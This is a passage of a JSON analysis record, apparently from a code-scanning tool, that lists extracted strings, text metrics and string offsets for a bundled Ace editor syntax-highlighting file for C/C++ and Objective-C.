          "source.strings[107]": ".start, specialVariables\n    );\n\n    this.embedRules(DocCommentHighlightRules, ",
          "source.strings[108]": "/);\n        var maxRow = session.getLength();\n        var startRow = row;\n        \n        var re = /^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/;\n        var depth = 1;\n        while (++row \u003c maxRow) {\n            line = session.getLine(row);\n            var m = re.exec(line);\n            if (!m) continue;\n            if (m[1]) depth--;\n            else depth++;\n\n            if (!depth) break;\n        }\n\n        var endRow = row;\n        if (endRow \u003e startRow) {\n            return new Range(startRow, startColumn, endRow, line.length);\n        }\n    };\n\n}).call(FoldMode.prototype);\n\n});\n\ndefine(",
          "source.strings[109]": "/, next: ",
          "source.strings[110]": "/;\n    this.startRegionRe = /^\\s*(\\/\\*|\\/\\/)#?region\\b/;\n    this._getFoldWidgetBase = this.getFoldWidget;\n    this.getFoldWidget = function(session, foldStyle, row) {\n        var line = session.getLine(row);\n    \n        if (this.singleLineBlockCommentRe.test(line)) {\n            if (!this.startRegionRe.test(line) \u0026\u0026 !this.tripleStarBlockCommentRe.test(line))\n                return ",
          "source.strings[111]": "/;\n    this.tripleStarBlockCommentRe = /^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*",
          "source.strings[112]": "0#.72fBy(SUPPORT",
          "source.strings[113]": "0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b",
          "source.strings[114]": ";\n\n    var specialVariables = [{\n            regex: ",
          "source.strings[115]": ";\n\nvar oop = require(",
          "source.strings[116]": ";\n        }\n    \n        var fw = this._getFoldWidgetBase(session, foldStyle, row);\n    \n        if (!fw \u0026\u0026 this.startRegionRe.test(line))\n            return ",
          "source.strings[117]": ";\n    var escapeRe = /\\\\(?:[",
          "source.strings[118]": ";\n};\noop.inherits(Mode, TextMode);\n\n(function() {\n    this.lineCommentStart = ",
          "source.strings[119]": "; // lineCommentRegionStart\n    \n        return fw;\n    };\n\n    this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) {\n        var line = session.getLine(row);\n        \n        if (this.startRegionRe.test(line))\n            return this.getCommentRegionBlock(session, line, row);\n        \n        var match = line.match(this.foldingStartMarker);\n        if (match) {\n            var i = match.index;\n\n            if (match[1])\n                return this.openingBracketBlock(session, match[1], row, i);\n                \n            var range = session.getCommentFoldRange(row, i + match[0].length, 1);\n            \n            if (range \u0026\u0026 !range.isMultiLine()) {\n                if (forceMultiline) {\n                    range = this.getSectionRange(session, row);\n                } else if (foldStyle != ",
          "source.strings[120]": "@[\\\\w\\\\d_]+",
          "source.strings[121]": "NULL|true|false|TRUE|FALSE|nullptr",
          "source.strings[122]": "OODJNVI5G0",
          "source.strings[123]": "RIJ5GAV:PS1M",
          "source.strings[124]": "TOKENG\t`(SUPPORT",
          "source.strings[125]": "TOKENNH2Q]",
          "source.strings[126]": "TOKENNH2Q]Q",
          "source.strings[127]": "TOKENTE#VIU+zORT",
          "source.strings[128]": "TOKENTE#VIUR",
          "source.strings[129]": "TOKENTE#VSOPR",
          "source.strings[130]": "TOKENTE#VSUJP",
          "source.strings[131]": "TOKENTE#VSUJPM",
          "source.strings[132]": "TOKENVI5GSHP",
          "source.strings[133]": "TOKEN_L(GS",
          "source.strings[134]": "TUKB2fSqyQ(XOUZK",
          "source.strings[135]": "TUKG2fSqyT(XOUZK",
          "source.strings[136]": "XODJNRE#(SUPPORT",
          "source.strings[137]": "[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b",
          "source.strings[138]": "[\\\\])}]",
          "source.strings[139]": "[a-zA-Z_",
          "source.strings[140]": "[a-zA-Z_$][a-zA-Z0-9_$]*",
          "source.strings[141]": "[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b",
          "source.strings[142]": "[r] = cRules[r];\n        }\n    }\n    \n    this.",
          "source.strings[143]": "[r]) {\n            if (this.",
          "source.strings[144]": "[r], cRules[r]);\n        } else {\n            this.",
          "source.strings[145]": "[r].push)\n                this.",
          "source.strings[146]": "[r].push.apply(this.",
          "source.strings[147]": "\\\\(', \n                stateName: ",
          "source.strings[148]": "\\\\*\\\\/",
          "source.strings[149]": "\\\\/\\\\*",
          "source.strings[150]": "\\\\/\\\\*(?=\\\\*)",
          "source.strings[151]": "\\\\?|\\\\:|\\\\,|\\\\;|\\\\.",
          "source.strings[152]": "\\\\\\\\]+'\n        },\n        {\n            token: ",
          "source.strings[153]": "\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b",
          "source.strings[154]": "\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b",
          "source.strings[155]": "\\\\bIBOutlet|IBAction|BOOL|SEL|id|unichar|IMP|Class\\\\b",
          "source.strings[156]": "\\\\bNSApp\\\\b",
          "source.strings[157]": "\\\\bNS_DURING|NS_HANDLER|NS_ENDHANDLER\\\\b",
          "source.strings[158]": "\\\\bYES|NO|Nil|nil\\\\b",
          "source.strings[159]": "\\\\bid\\\\s*\u003c",
          "source.strings[160]": "\\\\s*\u003c.+?\u003e",
          "source.strings[161]": "\\]]+\\]|[diouxXDOUeEfFgGaACcSspn%])/.source; // conversion type\n\n    this.",
          "source.strings[162]": "\\]]+\\]|[diouxXDOUeEfFgGaACcSspn%])/.source; // conversion type\n\n    this.$rules = { \n        ",
          "source.strings[163]": "]',\n                next : ",
          "source.strings[164]": "](?:(?:\\\\\\\\.)|(?:[^",
          "source.strings[165]": "],\n            regex: ",
          "source.strings[166]": "], function(require, exports, module) {\n",
          "source.strings[167]": "][a-zA-Z0-9_",
          "source.strings[168]": "^(?:-|\\\\+)\\\\s*",
          "source.strings[169]": "_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|",
          "source.strings[170]": "ace/lib/oop",
          "source.strings[171]": "ace/mode/c_cpp_highlight_rules",
          "source.strings[172]": "ace/mode/doc_comment_highlight_rules",
          "source.strings[173]": "ace/mode/objectivec",
          "source.strings[174]": "ace/mode/text_highlight_rules",
          "source.strings[175]": "and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eq|",
          "source.strings[176]": "asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|",
          "source.strings[177]": "bracketed_content",
          "source.strings[178]": "break|case|continue|default|do|else|for|goto|if|_Pragma|",
          "source.strings[179]": "class|wchar_t|template|char16_t|char32_t",
          "source.strings[180]": "comment",
          "source.strings[181]": "comment.doc",
          "source.strings[182]": "comment.doc.tag",
          "source.strings[183]": "comment.doc.tag.storage.type",
          "source.strings[184]": "const_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace",
          "source.strings[185]": "constant.character.escape.objc",
          "source.strings[186]": "constant.language.objc",
          "source.strings[187]": "constant.numeric",
          "source.strings[188]": "constant.other",
          "source.strings[189]": "constant.other.multiline",
          "source.strings[190]": "constant_NSString",
          "source.strings[191]": "constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local",
          "source.strings[192]": "const|extern|register|restrict|static|volatile|inline|private|",
          "source.strings[193]": "directive",
          "source.strings[194]": "doc-start",
          "source.strings[195]": "exports",
          "source.strings[196]": "invalid.illegal.unknown-escape.objc",
          "source.strings[197]": "keyword",
          "source.strings[198]": "keyword.control",
          "source.strings[199]": "keyword.control.exception.objc",
          "source.strings[200]": "keyword.control.macro.objc",
          "source.strings[201]": "keyword.operator",
          "source.strings[202]": "keyword.other.objc",
          "source.strings[203]": "meta.function.objc",
          "source.strings[204]": "module",
          "source.strings[205]": "n襶)¢{-j{l",
          "source.strings[206]": "object",
          "source.strings[207]": "paren.lparen",
          "source.strings[208]": "paren.rparen",
          "source.strings[209]": "predicates",
          "source.strings[210]": "protected|public|friend|explicit|virtual|export|mutable|typename|",
          "source.strings[211]": "protocol_list",
          "source.strings[212]": "punctuation",
          "source.strings[213]": "punctuation.definition.keyword.objc",
          "source.strings[214]": "punctuation.definition.storage.modifier.objc",
          "source.strings[215]": "punctuation.definition.storage.type.objc",
          "source.strings[216]": "punctuation.definition.string.end.objc",
          "source.strings[217]": "punctuation.operator",
          "source.strings[218]": "punctuation.section.scope.begin.objc",
          "source.strings[219]": "require",
          "source.strings[220]": "return|switch|while|catch|operator|try|throw|using",
          "source.strings[221]": "selectors",
          "source.strings[222]": "singleLineComment",
          "source.strings[223]": "storage.modifier.objc",
          "source.strings[224]": "storage.type.id.objc",
          "source.strings[225]": "storage.type.objc",
          "source.strings[226]": "string",
          "source.strings[227]": "string.start",
          "source.strings[228]": "support.class.cocoa",
          "source.strings[229]": "support.class.cocoa.leopard",
          "source.strings[230]": "support.class.quartz",
          "source.strings[231]": "support.constant.cocoa",
          "source.strings[232]": "support.constant.cocoa.leopard",
          "source.strings[233]": "support.constant.notification.cocoa",
          "source.strings[234]": "support.constant.notification.cocoa.leopard",
          "source.strings[235]": "support.function.C99.c",
          "source.strings[236]": "support.function.cocoa",
          "source.strings[237]": "support.function.cocoa.leopard",
          "source.strings[238]": "support.type.cocoa",
          "source.strings[239]": "support.type.cocoa.leopard",
          "source.strings[240]": "support.type.quartz",
          "source.strings[241]": "support.variable.foundation",
          "source.strings[242]": "use strict",
          "source.strings[243]": "var identifierRe = \"[a-zA-Z\\\\$_¡-￿][a-zA-Z\\\\d\\\\$_¡-￿]*\\\\b\";",
          "source.strings[244]": "|^\\s*(\\/\\*)/;\n    this.foldingStopMarker = /^[^\\[\\{\\(]*([\\}\\]\\)])|^[\\s\\*]*(\\*\\/)/;\n    this.singleLineBlockCommentRe= /^\\s*(\\/\\*).*\\*\\/\\s*"
        },
        "x": 42,
        "id": 0,
        "is": [
          "define",
          "function",
          "require",
          "require",
          "function",
          "function",
          "function",
          "function",
          "require",
          "require",
          "require",
          "\"\n                     ],\n            regex: \"",
          "\"\n                     ],\n            regex: \"",
          "\"\n                     ],\n            regex: \"",
          "\"\n                     ],\n            regex: \"",
          "\"\n                     ],\n            regex: \"",
          "lorPicking",
          "nputServ",
          "\"],\n            regex: \"",
          "\",\n            regex : \"",
          "function",
          "function",
          "function"
        ],
        "ms": {
          "file": {
            "size": 67598.0
          },
          "text": {
            "digit_ratio": 0.01,
            "space_count": 7610.0,
            "total_lines": 740.0,
            "char_entropy": 5.23,
            "unique_chars": 95.0,
            "escape_density": 0.01,
            "import_density": 3.11,
            "lines_over_200": 13.0,
            "lines_over_500": 9.0,
            "string_density": 0.96,
            "avg_line_length": 90.35,
            "lines_over_1000": 9.0,
            "max_line_length": 20290.0,
            "empty_line_ratio": 0.09,
            "last_line_length": 1819.0,
            "long_token_count": 21.0,
            "most_common_char": "e",
            "whitespace_ratio": 0.12,
            "most_common_ratio": 0.08,
            "line_length_stddev": 801.95,
            "dynamic_import_ratio": 0.22,
            "unicode_escape_count": 4.0,
            "normalized_import_count": 0.85,
            "normalized_string_count": 26.17,
            "repeated_char_sequences": 333.0,
            "suspicious_string_ratio": 0.06,
            "suspicious_comment_ratio": 0.05,
            "max_inline_whitespace_run": 16.0,
            "trailing_whitespace_lines": 26.0
          },
          "imports": {
            "total": 23.0,
            "unique_modules": 8.0,
            "dynamic_imports": 5.0,
            "third_party_count": 23.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 712.0,
            "avg_length": 153.44,
            "max_length": 20269.0,
            "path_count": 18.0,
            "avg_entropy": 2.67,
            "total_bytes": 109247.0,
            "entropy_stddev": 1.28,
            "very_long_strings": 17.0,
            "high_entropy_count": 5.0,
            "embedded_code_candidates": 43.0
          },
          "comments": {
            "chars": 336.0,
            "lines": 21.0,
            "total": 21.0,
            "todo_count": 1.0,
            "to_code_ratio": 0.03,
            "base64_in_comments": 1.0
          },
          "functions": {},
          "identifiers": {}
        },
        "ss": [
          [
            7,
            "ace/mode/doc_comment_highlight_rules"
          ],
          [
            8,
            "ace/mode/doc_comment_highlight_rules"
          ],
          [
            47,
            "require"
          ],
          [
            48,
            "require"
          ],
          [
            57,
            "exports"
          ],
          [
            58,
            "exports"
          ],
          [
            67,
            "module"
          ],
          [
            68,
            "module"
          ],
          [
            76,
            "ace/lib/oop"
          ],
          [
            77,
            "ace/lib/oop"
          ],
          [
            90,
            "ace/mode/text_highlight_rules"
          ],
          [
            91,
            "ace/mode/text_highlight_rules"
          ],
          [
            161,
            "use strict"
          ],
          [
            162,
            "use strict"
          ],
          [
            194,
            "../lib/oop"
          ],
          [
            195,
            "../lib/oop"
          ],
          [
            242,
            "./text_highlight_rules"
          ],
          [
            243,
            "./text_highlight_rules"
          ],
          [
            361,
            "start"
          ],
          [
            362,
            "start"
          ],
          [
            395,
            "comment.doc.tag"
          ],
          [
            396,
            "comment.doc.tag"
          ],
          [
            434,
            "@[\\\\w\\\\d_]+"
          ],
          [
            435,
            "@[\\\\w\\\\d_]+"
          ],
          [
            573,
            "comment.doc"
          ],
          [
            574,
            "comment.doc"
          ],
          [
            790,
            "comment.doc.tag.storage.type"
          ],
          [
            791,
            "comment.doc.tag.storage.type"
          ],
          [
            838,
            "\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b"
          ],
          [
            839,
            "\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b"
          ],
          [
            968,
            "comment.doc"
          ],
          [
            969,
            "comment.doc"
          ],
          [
            1014,
            "\\\\/\\\\*(?=\\\\*)"
          ],
          [
            1015,
            "\\\\/\\\\*(?=\\\\*)"
          ],
          [
            1150,
            "comment.doc"
          ],
          [
            1151,
            "comment.doc"
          ],
          [
            1200,
            "\\\\*\\\\/"
          ],
          [
            1201,
            "\\\\*\\\\/"
          ],
          [
            1318,
            "ace/mode/c_cpp_highlight_rules"
          ],
          [
            1319,
            "ace/mode/c_cpp_highlight_rules"
          ],
          [
            1352,
            "require"
          ],
          [
            1353,
            "require"
          ],
          [
            1362,
            "exports"
          ],
          [
            1363,
            "exports"
          ],
          [
            1372,
            "module"
          ],
          [
            1373,
            "module"
          ],
          [
            1381,
            "ace/lib/oop"
          ],
          [
            1382,
            "ace/lib/oop"
          ],
          [
            1395,
            "ace/mode/doc_comment_highlight_rules"
          ],
          [
            1396,
            "ace/mode/doc_comment_highlight_rules"
          ],
          [
            1434,
            "ace/mode/text_highlight_rules"
          ],
          [
            1435,
            "ace/mode/text_highlight_rules"
          ],
          [
            1505,
            "use strict"
          ],
          [
            1506,
            "use strict"
          ],
          [
            1538,
            "../lib/oop"
          ],
          [
            1539,
            "../lib/oop"
          ],
          [
            1592,
            "./doc_comment_highlight_rules"
          ],
          [
            1593,
            "./doc_comment_highlight_rules"
          ],
          [
            1684,
            "./text_highlight_rules"
          ],
          [
            1685,
            "./text_highlight_rules"
          ],
          [
            1768,
            "\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:t"
          ],
          [
            1769,
            "\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:t"
          ],
          [
            4488,
            "break|case|continue|default|do|else|for|goto|if|_Pragma|"
          ],
          [
            4489,
            "break|case|continue|default|do|else|for|goto|if|_Pragma|"
          ],
          [
            4557,
            "return|switch|while|catch|operator|try|throw|using"
          ],
          [
            4558,
            "return|switch|while|catch|operator|try|throw|using"
          ],
          [
            4654,
            "asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|"
          ],
          [
            4655,
            "asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|"
          ],
          [
            4727,
            "_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|"
          ],
          [
            4728,
            "_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|"
          ],
          [
            4808,
            "class|wchar_t|template|char16_t|char32_t"
          ],
          [
            4809,
            "class|wchar_t|template|char16_t|char32_t"
          ],
          [
            4896,
            "const|extern|register|restrict|static|volatile|inline|private|"
          ],
          [
            4897,
            "const|extern|register|restrict|static|volatile|inline|private|"
          ],
          [
            4971,
            "protected|public|friend|explicit|virtual|export|mutable|typename|"
          ],
          [
            4972,
            "protected|public|friend|explicit|virtual|export|mutable|typename|"
          ],
          [
            5049,
            "constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local"
          ],
          [
            5050,
            "constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local"
          ],
          [
            5164,
            "and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eq|"
          ],
          [
            5165,
            "and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eq|"
          ],
          [
            5245,
            "const_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace"
          ],
          [
            5246,
            "const_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace"
          ],
          [
            5362,
            "NULL|true|false|TRUE|FALSE|nullptr"
          ],
          [
            5363,
            "NULL|true|false|TRUE|FALSE|nullptr"
          ],
          [
            5483,
            "keyword.control"
          ],
          [
            5484,
            "keyword.control"
          ],
          [
            5541,
            " : storageType,\n        "
          ],
          [
            5542,
            " : storageType,\n        "
          ],
          [
            5583,
            " : storageModifiers,\n        "
          ],
          [
            5584,
            " : storageModifiers,\n        "
          ],
          [
            5630,
            " : keywordOperators,\n        "
          ],
          [
            5631,
            " : keywordOperators,\n        "
          ],
          [
            5678,
            " "
          ],
          [
            5679,
            " "
          ],
          [
            5686,
            ",\n        "
          ],
          [
            5687,
            ",\n        "
          ],
          [
            5715,
            " builtinConstants\n    }, "
          ],
          [
            5716,
            " builtinConstants\n    }, "
          ],
          [
            5753,
            ");\n\n    var identifierRe = "
          ],
          [
            5754,
            ");\n\n    var identifierRe = "
          ],
          [
            5839,
            ";\n    var escapeRe = /\\\\(?:["
          ],
          [
            5840,
            ";\n    var escapeRe = /\\\\(?:["
          ],
          [
            5968,
            "%"
          ],
          [
            5969,
            "%"
          ],
          [
            6353,
            "\\]]+\\]|[diouxXDOUeEfFgGaACcSspn%])/.source; // conversion type\n\n    this.$rules = { \n        "
          ],
          [
            6354,
            "\\]]+\\]|[diouxXDOUeEfFgGaACcSspn%])/.source; // conversion type\n\n    this."
          ],
          [
            6433,
            " = { \n        "
          ],
          [
            6453,
            " : [\n            {\n                token : "
          ],
          [
            6454,
            " : [\n            {\n                token : "
          ],
          [
            6505,
            ",\n                regex : "
          ],
          [
            6506,
            ",\n                regex : "
          ],
          [
            6562,
            "start"
          ],
          [
            6563,
            "start"
          ],
          [
            6611,
            "comment"
          ],
          [
            6612,
            "comment"
          ],
          [
            6646,
            "//"
          ],
          [
            6647,
            "//"
          ],
          [
            6675,
            "singleLineComment"
          ],
          [
            6676,
            "singleLineComment"
          ],
          [
            6760,
            "doc-start"
          ],
          [
            6761,
            "doc-start"
          ],
          [
            6812,
            "comment"
          ],
          [
            6813,
            "comment"
          ],
          [
            6869,
            "\\\\/\\\\*"
          ],
          [
            6870,
            "\\\\/\\\\*"
          ],
          [
            6902,
            "comment"
          ],
          [
            6903,
            "comment"
          ],
          [
            6953,
            "string"
          ],
          [
            6954,
            "string"
          ],
          [
            7000,
            "(?:"
          ],
          [
            7001,
            "(?:"
          ],
          [
            7020,
            "|.)?"
          ],
          [
            7021,
            "|.)?"
          ],
          [
            7069,
            "string.start"
          ],
          [
            7070,
            "string.start"
          ],
          [
            7110,
            ", \n                stateName: "
          ],
          [
            7111,
            ", \n                stateName: "
          ],
          [
            7151,
            ",\n                next: [\n                    { token: "
          ],
          [
            7152,
            ",\n                next: [\n                    { token: "
          ],
          [
            7214,
            ", regex: /\\\\\\s*$/, next: "
          ],
          [
            7215,
            ", regex: /\\\\\\s*"
          ],
          [
            7230,
            "$"
          ],
          [
            7231,
            "/, next: "
          ],
          [
            7249,
            " },\n                    { token: "
          ],
          [
            7250,
            " },\n                    { token: "
          ],
          [
            7308,
            ", regex: escapeRe },\n                    { token: "
          ],
          [
            7309,
            ", regex: escapeRe },\n                    { token: "
          ],
          [
            7384,
            ", regex: formatRe },\n                    { token: "
          ],
          [
            7385,
            ", regex: formatRe },\n                    { token: "
          ],
          [
            7446,
            ", regex: "
          ],
          [
            7447,
            ", regex: "
          ],
          [
            7469,
            "start"
          ],
          [
            7470,
            "start"
          ],
          [
            7516,
            "string"
          ],
          [
            7517,
            "string"
          ],
          [
            7585,
            "string.start"
          ],
          [
            7586,
            "string.start"
          ],
          [
            7627,
            "\\\\(', \n                stateName: "
          ],
          [
            7628,
            "\\\\(', \n                stateName: "
          ],
          [
            7672,
            ",\n                next: [\n                    { token: "
          ],
          [
            7673,
            ",\n                next: [\n                    { token: "
          ],
          [
            7739,
            ", regex: '\\\\)"
          ],
          [
            7740,
            ", regex: '\\\\)"
          ],
          [
            7763,
            "start"
          ],
          [
            7764,
            "start"
          ],
          [
            7810,
            "string"
          ],
          [
            7811,
            "string"
          ],
          [
            7879,
            "constant.numeric"
          ],
          [
            7880,
            "constant.numeric"
          ],
          [
            7930,
            "0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b"
          ],
          [
            7931,
            "0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b"
          ],
          [
            8028,
            "constant.numeric"
          ],
          [
            8029,
            "constant.numeric"
          ],
          [
            8081,
            "[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b"
          ],
          [
            8082,
            "[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b"
          ],
          [
            8206,
            "keyword"
          ],
          [
            8207,
            "keyword"
          ],
          [
            8268,
            "#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b"
          ],
          [
            8269,
            "#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b"
          ],
          [
            8347,
            "directive"
          ],
          [
            8348,
            "directive"
          ],
          [
            8400,
            "keyword"
          ],
          [
            8401,
            "keyword"
          ],
          [
            8474,
            "#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b"
          ],
          [
            8475,
            "#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b"
          ],
          [
            8561,
            "support.function.C99.c"
          ],
          [
            8562,
            "support.function.C99.c"
          ],
          [
            8702,
            "[a-zA-Z_$][a-zA-Z0-9_$]*"
          ],
          [
            8703,
            "[a-zA-Z_"
          ],
          [
            8711,
            "$"
          ],
          [
            8712,
            "][a-zA-Z0-9_"
          ],
          [
            8724,
            "$"
          ],
          [
            8725,
            "]*"
          ],
          [
            8770,
            "keyword.operator"
          ],
          [
            8771,
            "keyword.operator"
          ],
          [
            8912,
            "punctuation.operator"
          ],
          [
            8913,
            "punctuation.operator"
          ],
          [
            8958,
            "\\\\?|\\\\:|\\\\,|\\\\;|\\\\."
          ],
          [
            8959,
            "\\\\?|\\\\:|\\\\,|\\\\;|\\\\."
          ],
          [
            9021,
            "paren.lparen"
          ],
          [
            9022,
            "paren.lparen"
          ],
          [
            9061,
            "({]"
          ],
          [
            9062,
            "({]"
          ],
          [
            9110,
            "paren.rparen"
          ],
          [
            9111,
            "paren.rparen"
          ],
          [
            9150,
            "[\\\\])}]"
          ],
          [
            9151,
            "[\\\\])}]"
          ],
          [
            9201,
            "text"
          ],
          [
            9202,
            "text"
          ],
          [
            9233,
            "\\\\s+"
          ],
          [
            9234,
            "\\\\s+"
          ],
          [
            9273,
            "comment"
          ],
          [
            9274,
            "comment"
          ],
          [
            9325,
            "comment"
          ],
          [
            9326,
            "comment"
          ],
          [
            9379,
            "\\\\*\\\\/"
          ],
          [
            9380,
            "\\\\*\\\\/"
          ],
          [
            9412,
            "start"
          ],
          [
            9413,
            "start"
          ],
          [
            9468,
            "comment"
          ],
          [
            9469,
            "comment"
          ],
          [
            9511,
            "singleLineComment"
          ],
          [
            9512,
            "singleLineComment"
          ],
          [
            9573,
            "comment"
          ],
          [
            9574,
            "comment"
          ],
          [
            9638,
            "singleLineComment"
          ],
          [
            9639,
            "singleLineComment"
          ],
          [
            9699,
            "comment"
          ],
          [
            9700,
            "comment"
          ],
          [
            9762,
            "start"
          ],
          [
            9763,
            "start"
          ],
          [
            9817,
            "comment"
          ],
          [
            9818,
            "comment"
          ],
          [
            9860,
            "directive"
          ],
          [
            9861,
            "directive"
          ],
          [
            9914,
            "constant.other.multiline"
          ],
          [
            9915,
            "constant.other.multiline"
          ],
          [
            10024,
            "constant.other.multiline"
          ],
          [
            10025,
            "constant.other.multiline"
          ],
          [
            10136,
            "constant.other"
          ],
          [
            10137,
            "constant.other"
          ],
          [
            10178,
            "\\\\s*\u003c.+?\u003e"
          ],
          [
            10179,
            "\\\\s*\u003c.+?\u003e"
          ],
          [
            10214,
            "start"
          ],
          [
            10215,
            "start"
          ],
          [
            10275,
            "constant.other"
          ],
          [
            10276,
            "constant.other"
          ],
          [
            10338,
            "](?:(?:\\\\\\\\.)|(?:[^"
          ],
          [
            10339,
            "](?:(?:\\\\\\\\.)|(?:[^"
          ],
          [
            10369,
            "]',\n                next : "
          ],
          [
            10370,
            "]',\n                next : "
          ],
          [
            10403,
            "\n            }, \n            {\n                token : "
          ],
          [
            10404,
            "\n            }, \n            {\n                token : "
          ],
